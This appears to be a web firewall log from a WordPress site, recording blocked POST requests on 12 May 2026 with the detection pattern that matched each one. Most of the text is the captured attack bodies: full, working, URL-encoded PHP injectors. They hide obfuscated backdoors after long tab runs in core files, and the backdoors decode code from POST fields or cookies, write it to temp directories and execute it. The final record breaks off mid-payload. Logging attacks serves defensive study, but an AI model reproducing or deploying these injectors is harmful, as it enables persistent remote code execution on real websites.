HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4459\n\nAo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:55:49","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:4482\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:56:18","54.36.177.228","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> de:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3256\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\n\nde=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:56:27","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3256\n\nXV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E